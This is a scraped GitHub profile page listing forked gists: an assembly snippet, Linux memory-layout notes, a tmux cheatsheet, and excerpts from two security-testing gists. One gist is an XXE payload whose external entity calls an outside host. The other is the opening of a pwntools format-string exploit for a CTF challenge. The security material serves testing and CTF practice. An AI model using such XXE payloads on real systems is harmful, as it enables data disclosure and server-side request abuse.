Skip to content

Instantly share code, notes, and snippets.

View mfakbar127's full-sized avatar
๐Ÿ 
Working from home

Muh. Fani Akbar mfakbar127

๐Ÿ 
Working from home
View GitHub Profile
global _start
section .data
aa db '1234567890a',0
len equ $-aa
section .text
@mfakbar127
mfakbar127 / XXE_payloads
Created June 6, 2018 17:02 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@mfakbar127
mfakbar127 / memory_layout.md
Created January 29, 2018 08:34 — forked from CMCDragonkai/memory_layout.md
Linux: Understanding the Memory Layout of Linux Executables

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

  • hexdump
  • objdump
  • readelf
  • xxd
  • gcore
@mfakbar127
mfakbar127 / tmux.md
Created January 5, 2018 03:19 — forked from andreyvit/tmux.md
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@mfakbar127
mfakbar127 / baby.py
Created October 30, 2017 09:24 — forked from 0xPwny/baby.py
BackdoorCTF 2017 - PWN - BABY-0x41414141
from pwn import *
from libformatstr import *
file = ELF("./32_new")
flag = 0x0804870b
r = remote("163.172.176.29",9035)
r.recvuntil("name?")